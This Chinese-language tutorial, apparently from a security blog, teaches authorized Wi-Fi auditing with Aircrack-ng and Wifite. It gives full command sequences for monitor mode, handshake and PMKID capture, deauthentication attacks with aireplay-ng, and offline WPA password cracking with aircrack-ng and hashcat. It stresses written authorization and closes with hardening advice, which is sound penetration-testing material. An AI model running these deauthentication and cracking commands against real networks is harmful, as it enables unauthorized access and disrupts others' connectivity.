无线网络Aircrack Wifite工具教程
命令覆盖 Aircrack‑ng 手动流程与 Wifite 自动化,但边界严格限定为:只测自有或已获书面授权的 AP,不得用于蹭网、入侵邻居/公司网络、扫描或干扰非授权 AP。文中把“破解”统一表述为“授权范围内的离线弱口令验证”。
0. 合规前置与流程总览
必须满足的前置条件
-
书面授权:明确目标 SSID/BSSID、测试时间窗口、联系人、应急回退方式、是否允许主动去认证/PMKID 采集、数据处理方式。
-
只测自有或授权网络:不扫描、不攻击非授权 AP,不影响周边无关网络。
-
隔离实验环境:优先用自有路由器搭建测试 AP,避免影响生产网络。
-
最小影响原则:优先被动扫描、握手包/PMKID 采集、配置核查;去认证属于主动干扰,必须经授权并控制次数。
-
数据合规:抓到的握手包、PMKID、日志、密码哈希加密保存;测试后按授权删除或归档。
流程总览
授权确认 → 环境准备 → 开启监听 → 被动扫描 → 定向抓包 → 授权内触发重连 → 验证握手/PMKID → 离线弱口令验证 → Wifite 自动化审计 → 取证整理 → 清理恢复 → 加固建议
1. 环境准备与网卡检查
使用 Kali Linux 或 ParrotSec,准备支持 Monitor 模式和数据包注入的无线网卡。
sudo apt update
sudo apt install -y aircrack-ng wifite reaver bully hashcat tshark hcxtools
检查网卡是否支持监听模式:
iw list | grep -i monitor
sudo airmon-ng check
确认接口名称:
iw dev
ip link
iwconfig
记下无线接口名,例如 wlan0。虚拟机环境必须将 USB 无线网卡直通给 Kali。
解压 Kali 自带字典:
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
ls -lh /usr/share/wordlists/rockyou.txt
2. 开启监听模式
以下命令仅用于授权审计环境。airmon-ng check kill 会终止可能干扰监听模式的网络管理进程,生产环境需先确认影响。
sudo airmon-ng check kill
sudo airmon-ng start wlan0
验证监听接口:
iwconfig wlan0mon
确认输出中包含 Mode:Monitor。接口名可能因驱动不同而不同,以实际输出为准。
3. 被动扫描授权目标 AP
先做被动扫描,不发送去认证帧:
sudo airodump-ng wlan0mon
记录授权目标的以下信息:
| 参数 | 含义 |
|---|---|
| BSSID | 目标 AP 的 MAC 地址 |
| CH | 信道号 |
| ESSID | 网络名称 |
| ENC | 加密类型,如 WPA2 |
| STATION | 是否存在已连接客户端 |
只记录授权范围内的 SSID/BSSID;不要对非授权 AP 做后续定向操作。
4. 定向抓包与握手包采集
使用授权目标的 BSSID 和信道定向抓包:
sudo airodump-ng -c <信道> --bssid <目标BSSID> -w audit wlan0mon
示例:
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w audit wlan0mon
观察 airodump-ng 右上角,出现类似:
[WPA handshake: AA:BB:CC:DD:EE:FF]
表示已捕获 WPA 四次握手。抓包文件通常为 audit-01.cap。
PMKID 采集优先
在授权允许时,优先尝试 PMKID 被动采集,减少主动干扰。可用 Wifite:
sudo wifite --pmkid
或按授权流程使用其他 PMKID 采集工具。PMKID 采集同样只针对授权 AP。
5. 授权内触发重连(主动干扰,谨慎使用)
仅在书面授权明确允许主动测试、且目标为授权 AP 时使用。不要对非授权网络发送去认证帧,不建议使用 --deauth 0 持续发送。
sudo aireplay-ng --deauth 5 -a <目标BSSID> wlan0mon
若已知授权客户端 MAC,可定向触发,干扰更小:
sudo aireplay-ng --deauth 5 -a <目标BSSID> -c <客户端MAC> wlan0mon
操作要求:
-
控制次数,例如 5 次,不持续轰炸。
-
记录操作时间、目标 BSSID、是否发生去认证。
-
发送后回到
airodump-ng终端等待握手提示。 -
生产网络或授权窗口外不得执行。
6. 验证握手包与离线弱口令验证
先验证抓包文件是否包含有效握手:
aircrack-ng audit-01.cap
若显示 WPA (1 handshake),说明握手包有效;若为 0 handshakes,需重新采集。
授权范围内做离线弱口令验证:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <目标BSSID> audit-01.cap
可选:使用 hashcat 做离线验证。先转换格式:
hcxpcapngtool -o audit.hc22000 audit-01.cap
hashcat -m 22000 audit.hc22000 /usr/share/wordlists/rockyou.txt
结果仅用于授权审计报告中的弱口令风险验证,不得用于非授权访问。
7. Wifite 授权审计自动化
Wifite 本质是把 Aircrack‑ng、Reaver、Hashcat 等工具自动化封装。它会执行扫描、捕获、可能触发去认证等操作,因此必须在授权窗口内运行。
基础启动
sudo wifite --kill
指定网卡和字典:
sudo wifite -i wlan0 --dict /usr/share/wordlists/rockyou.txt --kill
只审计 WPA/WPA2
sudo wifite --wpa --dict /usr/share/wordlists/rockyou.txt
只捕获握手包,不立即破解
sudo wifite --wpa --skip-crack
抓包文件通常保存在当前目录的 hs/ 文件夹。
仅做 PMKID 采集
sudo wifite --pmkid
定向指定 BSSID
sudo wifite --bssid <目标BSSID> --wpa --dict /usr/share/wordlists/rockyou.txt
降低主动干扰:不发送去认证帧
sudo wifite --wpa --nodeauths --skip-crack
只显示存在客户端的网络
sudo wifite --clients-only --wpa
对已有握手包重新做弱口令验证
sudo wifite --crack --dict /path/to/wordlist.txt
查看已破解记录
wifite --cracked
验证已有抓包文件
wifite --check hs/xxx.cap
常用参数表
| 参数 | 用途 | 合规注意 |
|---|---|---|
-i |
指定无线网卡 | 多网卡环境使用 |
--wpa |
只审计 WPA/WPA2 | 排除 WEP/WPS |
--dict |
指定字典文件 | 仅做授权弱口令验证 |
--skip-crack |
只抓包不破解 | 降低影响 |
--pmkid |
采集 PMKID | 被动审计优先 |
--kill |
终止冲突进程 | 保证监听模式稳定 |
--bssid |
定向目标 BSSID | 只填授权目标 |
--nodeauths |
不发送去认证帧 | 降低主动干扰 |
--clients-only |
只显示有客户端网络 | 提高采集效率 |
--crack |
对已有握手包重新验证 | 仅在授权范围内 |
--cracked |
查看已破解记录 | 取证整理 |
--check |
验证已有抓包文件 | 检查握手有效性 |
建议组合:先用 sudo wifite --wpa --skip-crack --nodeauths 做低干扰采集;需要弱口令验证时,再用 aircrack-ng 或 hashcat 对 hs/ 中授权目标的抓包做离线验证。
8. 输出与取证整理
Wifite 通常将握手包、PMKID 和结果保存在 hs/ 或当前目录输出文件中:
ls hs/
cat cracked.txt
审计记录至少包括:
-
测试时间与授权窗口;
-
目标 SSID/BSSID;
-
使用的接口和命令;
-
是否发生去认证;
-
是否抓到握手包/PMKID;
-
是否存在弱口令风险;
-
数据处理方式:加密保存、删除或归档。
9. 清理与恢复网络
审计结束后停止监听模式并恢复网络管理:
sudo airmon-ng stop wlan0mon
sudo systemctl start NetworkManager
验证接口恢复管理模式:
iwconfig wlan0
确认 Mode 回到 Managed,网络管理器正常运行。若 Wifite 退出时已自动恢复,也建议手动确认。
10. 常见问题与排错
| 现象 | 可能原因 | 处理 |
|---|---|---|
airmon-ng start 后接口未改名 |
驱动或命名规则不同 | 用 iwconfig 查看实际接口名;必要时手动设置 monitor |
airodump-ng 看不到网络 |
未进入监听模式或接口选错 | 确认 Mode:Monitor,更换 USB 口/接口 |
| 始终抓不到握手包 | 无客户端在线;去认证未生效;信道偏移 | 选择有客户端网络;确认 --bssid 和 -c 一致;控制去认证次数 |
| Wifite 扫描不到网络 | 冲突进程未终止;接口被占用 | 使用 --kill,或先执行 airmon-ng check kill |
握手包显示 0 handshakes |
抓包未锁定信道或握手不完整 | 重新定向抓包并等待握手提示后再停止 |
| 弱口令验证很慢 | 字典过大或仅 CPU | 先用小字典测试;大规模字典考虑 hashcat + GPU |
11. 加固建议
-
禁用弱口令,使用足够长的随机密码。
-
关闭 WPS,或确认路由器已修复 Pixie‑Dust 相关风险。
-
优先使用 WPA3‑SAE;必须用 WPA2 时配合强密码和 802.1X。
-
限制管理接口暴露,开启访客网络隔离。
-
定期更新路由器固件。
-
对重要无线环境做周期性授权无线安全审计。
-
对审计中采集的握手包、PMKID、日志和哈希加密保存,按授权要求删除或归档。
一句话总结:把前文的 Aircrack‑ng 手动流程与 Wifite 自动化流程整合后,正确用法是“授权确认 → 被动优先 → 定向采集 → 授权内最小干扰 → 离线弱口令验证 → 取证 → 清理 → 加固”;不要把它用于非授权 Wi‑Fi 的扫描、去认证或破解。
原文地址: https://www.cveoy.top/t/topic/qHM1 著作权归作者所有。请勿转载和采集!